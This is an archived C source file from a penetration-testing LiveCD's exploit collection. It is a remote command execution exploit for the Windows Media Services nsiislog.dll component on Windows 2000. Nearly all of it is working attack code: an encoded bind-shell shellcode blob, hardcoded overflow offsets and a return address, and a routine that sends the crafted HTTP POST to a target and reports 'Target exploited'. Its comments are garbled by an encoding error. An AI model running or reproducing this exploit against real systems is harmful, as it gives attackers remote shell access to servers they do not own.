home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / firew0rker.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  253 lines

  1. // Windows Media Services Remote Command Execution #2 
  2. // v. 1.0 beta 
  3. // (c) firew0rker  //tN  [The N0b0D1eS] 
  4.  
  5. #include <stdio.h> 
  6. #include <string.h> 
  7. #include <stdlib.h> 
  8.  
  9. #ifdef WIN32 
  10. #include <winsock.h> 
  11. #pragma comment(lib, "wsock32") 
  12. #else 
  13. #include <sys/socket.h> 
  14. #include <sys/types.h> 
  15. #include <netinet/in.h> 
  16. #include <arpa/inet.h> 
  17. #include <netdb.h> 
  18. #include <unistd.h> 
  19. #define SOCKET int 
  20. #define DWORD uint32_t 
  21. #define ULONG unsigned long 
  22. #define INVALID_SOCKET -1 
  23. #define SOCKET_ERROR -1 
  24. #define closesocket close 
  25. #endif 
  26.  
  27. char shellcode[]= 
  28. //"\x90\x90\x90\x90\x90\x90\x90\xCC" //┬ñ┬½├»├ó┬ñ┬¬┬¿ 
  29. "\xeb\x02\xeb\x05\xe8\xf9\xff\xff" 
  30. "\xff\x5b\x81\xeb\x4d\x43\x22\x11" 
  31. "\x8b\xc3\x05\x66\x43\x22\x11\x66" 
  32. "\xb9\x15\x03\x80\x30\xfb\x40\x67" 
  33. "\xe2\xf9\x33\xa3\xf9\xfb\x72\x66" 
  34. "\x53\x06\x04\x04\x76\x66\x37\x06" 
  35. "\x04\x04\xa8\x40\xf6\xbd\xd9\xea" 
  36. "\xf8\x66\x53\x06\x04\x04\xa8\x93" 
  37. "\xfb\xfb\x04\x04\x13\x91\xfa\xfb" 
  38. "\xfb\x43\xcd\xbd\xd9\xea\xf8\x7e" 
  39. "\x53\x06\x04\x04\xab\x04\x6e\x37" 
  40. "\x06\x04\x04\xf0\x3b\xf4\x7f\xbe" 
  41. "\xfa\xfb\xfb\x76\x66\x3b\x06\x04" 
  42. "\x04\xa8\x40\xba\xbd\xd9\xea\xf8" 
  43. "\x66\x53\x06\x04\x04\xa8\xab\x13" 
  44. "\xcc\xfa\xfb\xfb\x76\x7e\x8f\x05" 
  45. "\x04\x04\xab\x93\xfa\xfa\xfb\xfb" 
  46. "\x04\x6e\x4b\x06\x04\x04\xc8\x20" 
  47. "\xa8\xa8\xa8\x91\xfd\x91\xfa\x91" 
  48. "\xf9\x04\x6e\x3b\x06\x04\x04\x72" 
  49. "\x7e\xa7\x05\x04\x04\x9d\x3c\x7e" 
  50. "\x9f\x05\x04\x04\xf9\xfb\x9d\x3c" 
  51. "\x7e\x9d\x05\x04\x04\x73\xfb\x3c" 
  52. "\x7e\x93\x05\x04\x04\xfb\xfb\xfb" 
  53. "\xfb\x76\x66\x9f\x05\x04\x04\x91" 
  54. "\xeb\xa8\x04\x4e\xa7\x05\x04\x04" 
  55. "\x04\x6e\x47\x06\x04\x04\xf0\x3b" 
  56. "\x8f\xe8\x76\x6e\x9c\x05\x04\x04" 
  57. "\x05\xf9\x7b\xc1\xfb\xf4\x7f\x46" 
  58. "\xfb\xfb\xfb\x10\x2f\x91\xfa\x04" 
  59. "\x4e\xa7\x05\x04\x04\x04\x6e\x43" 
  60. "\x06\x04\x04\xf0\x3b\xf4\x7e\x5e" 
  61. "\xfb\xfb\xfb\x3c\x7e\x9b\x05\x04" 
  62. "\x04\xeb\xfb\xfb\xfb\x76\x7e\x9b" 
  63. "\x05\x04\x04\xab\x76\x7e\x9f\x05" 
  64. "\x04\x04\xab\x04\x4e\xa7\x05\x04" 
  65. "\x04\x04\x6e\x4f\x06\x04\x04\x72" 
  66. "\x7e\xa3\x05\x04\x04\x07\x76\x46" 
  67. "\xf3\x05\x04\x04\xc8\x3b\x42\xbf" 
  68. "\xfb\xfb\xfb\x08\x51\x3c\x7e\xcf" 
  69. "\x05\x04\x04\xfb\xfa\xfb\xfb\x70" 
  70. "\x7e\xa3\x05\x04\x04\x72\x7e\xbf" 
  71. "\x05\x04\x04\x72\x7e\xb3\x05\x04" 
  72. "\x04\x72\x7e\xbb\x05\x04\x04\x3c" 
  73. "\x7e\xf3\x05\x04\x04\xbf\xfb\xfb" 
  74. "\xfb\xc8\x20\x76\x7e\x03\x06\x04" 
  75. "\x04\xab\x76\x7e\xf3\x05\x04\x04" 
  76. "\xab\xa8\xa8\x93\xfb\xfb\xfb\xf3" 
  77. "\x91\xfa\xa8\xa8\x43\x8c\xbd\xd9" 
  78. "\xea\xf8\x7e\x53\x06\x04\x04\xab" 
  79. "\xa8\x04\x6e\x3f\x06\x04\x04\x04" 
  80. "\x4e\xa3\x05\x04\x04\x04\x6e\x57" 
  81. "\x06\x04\x04\x12\xa0\x04\x04\x04" 
  82. "\x04\x6e\x33\x06\x04\x04\x13\x76" 
  83. "\xfa\xfb\xfb\x33\xef\xfb\xfb\xac" 
  84. "\xad\x13\xfb\xfb\xfb\xfb\x7a\xd7" 
  85. "\xdf\xf9\xbe\xd9\xea\x43\x0e\xbe" 
  86. "\xd9\xea\xf8\xff\xdf\x78\x3f\xff" 
  87. "\xab\x9f\x9c\x04\xcd\xfb\xfb\x72" 
  88. "\x9e\x03\x13\xfb\xfb\xfb\xfb\x7a" 
  89. "\xd7\xdf\xd8\xbe\xd9\xea\x43\xac" 
  90. "\xbe\xd9\xea\xf8\xff\xdf\x78\x3f" 
  91. "\xff\x72\xbe\x07\x9f\x9c\x72\xdd" 
  92. "\xfb\xfb\x70\x86\xf3\x9d\x7a\xc4" 
  93. "\xb6\xa1\x8e\xf4\x70\x0c\xf8\x8d" 
  94. "\xc7\x7a\xc5\xab\xbe\xfb\xfb\x8e" 
  95. "\xf9\x10\xf3\x7a\x14\xfb\xfb\xfa" 
  96. "\xfb\x10\x19\x72\x86\x0b\x72\x8e" 
  97. "\x17\x70\x86\xf7\x42\x6d\xfb\xfb" 
  98. "\xfb\xc9\x3b\x09\x55\x72\x86\x0f" 
  99. "\x70\x34\xd0\xb6\xf7\x70\xad\x83" 
  100. "\xf8\xae\x0b\x70\xa1\xdb\xf8\xa6" 
  101. "\x0b\xc8\x3b\x70\xc0\xf8\x86\x0b" 
  102. "\x70\x8e\xf7\xaa\x08\x5d\x8e\xfe" 
  103. "\x78\x3f\xff\x10\xf1\xa2\x78\x38" 
  104. "\xff\xbb\xc0\xb9\xe3\x8e\x1f\xc0" 
  105. "\xb9\xe3\x8e\xf9\x10\xb8\x70\x89" 
  106. "\xdf\xf8\x8e\x0b\x2a\x1b\xf8\x3d" 
  107. "\xf4\x4c\xfb\x70\x81\xe7\x3a\x1b" 
  108. "\xf9\xf8\xbe\x0b\xf8\x3c\x70\xfb" 
  109. "\xf8\xbe\x0b\x70\xb6\x0f\x72\xb6" 
  110. "\xf7\x70\xa6\xeb\x72\xf8\x78\x96" 
  111. "\xeb\xff\x70\x8e\x17\x7b\xc2\xfb" 
  112. "\x8e\x7c\x9f\x9c\x74\xfd\xfb\xfb" 
  113. "\x78\x3f\xff\xa5\xa4\x32\x39\xf7" 
  114. "\xfb\x70\x86\x0b\x12\x99\x04\x04" 
  115. "\x04\x33\xfb\xfb\xfb\x70\xbe\xeb" 
  116. "\x7a\x53\x67\xfb\xfb\xfb\xfb\xfb" 
  117. "\xfa\xfb\x43\xfb\xfb\xfb\xfb\x32" 
  118. "\x38\xb7\x94\x9a\x9f\xb7\x92\x99" 
  119. "\x89\x9a\x89\x82\xba\xfb\xbe\x83" 
  120. "\x92\x8f\xab\x89\x94\x98\x9e\x88" 
  121. "\x88\xfb\xb8\x89\x9e\x9a\x8f\x9e" 
  122. "\xab\x89\x94\x98\x9e\x88\x88\xba" 
  123. "\xfb\xfb\xac\xa8\xc9\xa4\xc8\xc9" 
  124. "\xd5\xbf\xb7\xb7\xfb\xac\xa8\xba" 
  125. "\xa8\x94\x98\x90\x9e\x8f\xba\xfb" 
  126. "\x99\x92\x95\x9f\xfb\x97\x92\x88" 
  127. "\x8f\x9e\x95\xfb\x9a\x98\x98\x9e" 
  128. "\x8b\x8f\xfb\xac\xa8\xba\xa8\x8f" 
  129. "\x9a\x89\x8f\x8e\x8b\xfb\x98\x97" 
  130. "\x94\x88\x9e\x88\x94\x98\x90\x9e" 
  131. "\x8f\xfb\xfb\x98\x96\x9f\xfb\xe9" 
  132. "\xc4\xfc\xff\xff\x74\xf9\x75\xf7"; 
  133.  
  134.  
  135. const DWORD default_EIP_pos = 9992; //┬»┬«┬½┬«┬ª┬Ñ┬¡┬¿┬Ñ EIP ┬ó ┬í├ú├á(sploit) 
  136. const DWORD default_EBX_points_to = 9988; //├ú┬º Γѽ├¼ EBX ┬«Γ¡«├í┬Ñ┬½∞¡« sploit 
  137. //const DWORD default_EIP_value = 0x77F8441B; //┬»┬« ├¡┬¼├ú┬ñ├á┬ñ.┬í. JMP EDX, ┬ó ┬ñ ┬¡┬¡┬«┬¼ ├í├º ├¡ ┬ó ntdll.dll 
  138. const DWORD default_EIP_value = 0x40F01333; 
  139. //const default_EDX_points_to = 0x1000; //├¡ ┬¡┬Ñ ┬»α¿ú┬«┬ñ┬¿┬½┬«├í
  140. char *nsiislog_default = "/scripts/nsiislog.dll"; 
  141. char sploit[default_EIP_pos+4+sizeof(shellcode)+1]; 
  142. char sploitbuf[sizeof(sploit)*2]; 
  143.  
  144. void usage(char* argv[]) 
  145.        printf("Dicklamer (: " 
  146.    "We are not responsible for the illegal use of this software.\n" 
  147.    "Description: Binds shell to port 34816 (or higher if port busy).\n" 
  148.    "Usage:   " 
  149.    "%s target [-p target_port] [-r /renamed_scripts/renamed_nsiislog.dll]\n" 
  150.    "Supported target(s):\n" 
  151.    "Windows version\t\t\t\tnsiislog.dll version\n" 
  152.    "------------------------------------------------------------\n" 
  153.    "2000 [5.00.2195] server rus.\t\t4.1.0.3917\n", argv[0]); 
  154.        exit(0); 
  155.  
  156. int main(int argc, char* argv[]) 
  157. #ifdef WIN32 
  158.    WSADATA wsaData;        
  159. #endif 
  160.    int target_port = 80; 
  161.    char *nsiislog = nsiislog_default; 
  162.    int      nArgIndex; 
  163.  
  164.    if (argc<2) usage(argv); 
  165.    nArgIndex = 1; 
  166.    while ((nArgIndex < argc)&&(strlen(argv[nArgIndex])>=2)&&(argv[nArgIndex][0]=='-')) 
  167.    { 
  168.       switch (argv[nArgIndex++][1]) 
  169.       { 
  170.       case 'p': 
  171.       case 'P': 
  172.          target_port = atoi(argv[nArgIndex++]); 
  173.          continue; 
  174.       case 'r': 
  175.       case 'R': 
  176.          nsiislog = argv[nArgIndex++]; 
  177.          continue; 
  178.       default: 
  179.          usage(argv); 
  180.       } 
  181.    } 
  182.     
  183.    try { 
  184. #ifdef WIN32 
  185.       WSAStartup(0x0101, &wsaData); 
  186. #endif 
  187.       SOCKET s = socket(AF_INET,SOCK_STREAM,0); 
  188.       if (s == INVALID_SOCKET) throw("No socket"); 
  189.       sockaddr_in addr; 
  190.        
  191.       //.┬»αÑñ┬Ñ┬½∩Ѽ  ┬ñ├á ├í┬ó ┬¬ 
  192.       ULONG iaddr = inet_addr(argv[1]); 
  193.       if (iaddr == INADDR_NONE) {//.┬ñ├á - ┬¿┬¼├»┬Ñ├á┬¬ 
  194.          hostent *ph = gethostbyname(argv[1]); 
  195.          if (!ph) throw("Cant resolve hostname"); 
  196.          memcpy(&addr.sin_addr.s_addr,ph->h_addr_list[0],sizeof(in_addr)); 
  197.       } else {//.┬ñ├á - IP 
  198.          memcpy(&addr.sin_addr.s_addr,&iaddr,4); 
  199.       }; 
  200.        
  201.       addr.sin_family = AF_INET; 
  202.       addr.sin_port   = htons(target_port); 
  203.       int sizeofaddr=sizeof(addr); 
  204.  
  205. char *req = "MX_STATS_LogLine: "; 
  206. strcpy(sploit, req); 
  207. memset(sploit+strlen(sploit), 0xCC, default_EIP_pos-strlen(req)); 
  208. //memcpy(sploit+default_EDX_points_to, shellcode, sizeof(shellcode)-1/*├ú ├ó\0*/); 
  209. memcpy(sploit+default_EBX_points_to-(sizeof(shellcode)-1)+4, shellcode, sizeof(shellcode)-1/*├ú ├ó\0*/); 
  210. //┬»├á┬»┬Ñ├á┬«┬ñ┬Ñ ┬¡  EIP, EBX ┬íπñÑ├ó┬¬ ┬º├½├ó┬¡  ┬»┬«ß½Ñ┬ñ┬¡┬¿┬⌐ DWORD ┬¡ ΦÑú┬« ┬º ┬»├á , ┬ú┬ñ┬Ñ JZ/JNZ 
  211. memcpy(sploit+default_EIP_pos, &default_EIP_value, sizeof default_EIP_value); 
  212.        
  213.       /*strcpy(sploit+sizeof(sploit)-11,"BCDEFGHIJK");*/ 
  214.       sploit[sizeof(sploit)-1] = 0; 
  215.        
  216.   if (connect(s,(struct sockaddr*)&addr,sizeof(struct sockaddr)) == SOCKET_ERROR) throw("Cant connect host"); 
  217.  
  218.       sprintf(sploitbuf, 
  219.          "POST %s HTTP/1.0\r\n" 
  220.          "Accept: */*\r\n" 
  221.          "User-Agent: NSPlayer/4.1.0.3917\r\n" 
  222.          "Content-Type: text/plain\r\n" 
  223.          "Content-Length: %i\r\n" 
  224.          "Pragma: xClientGUID={89f451e0-a491-4346-ad78-4d55aac89045}\r\n" 
  225.          "\r\n%s\r\n", 
  226.          nsiislog,strlen(sploit),sploit); 
  227.        
  228.       int snd=send(s,sploitbuf,strlen(sploitbuf),0); 
  229.       if (snd == strlen(sploitbuf)) printf("Target exploited.\n"); 
  230.          else throw("Cant send exploit"); 
  231.       closesocket(s); 
  232.    } 
  233.    catch (char *errmsg) 
  234.    { 
  235.        
  236.       printf("%s\n",errmsg); 
  237.       return -1; 
  238.    } 
  239.    catch (int err_n) 
  240.    { 
  241.       printf("error %i\n",err_n); 
  242.       return err_n; 
  243.    } 
  244. #ifdef WIN32 
  245.     WSACleanup(); 
  246. #endif 
  247.    return 0; 
  248.  
  249.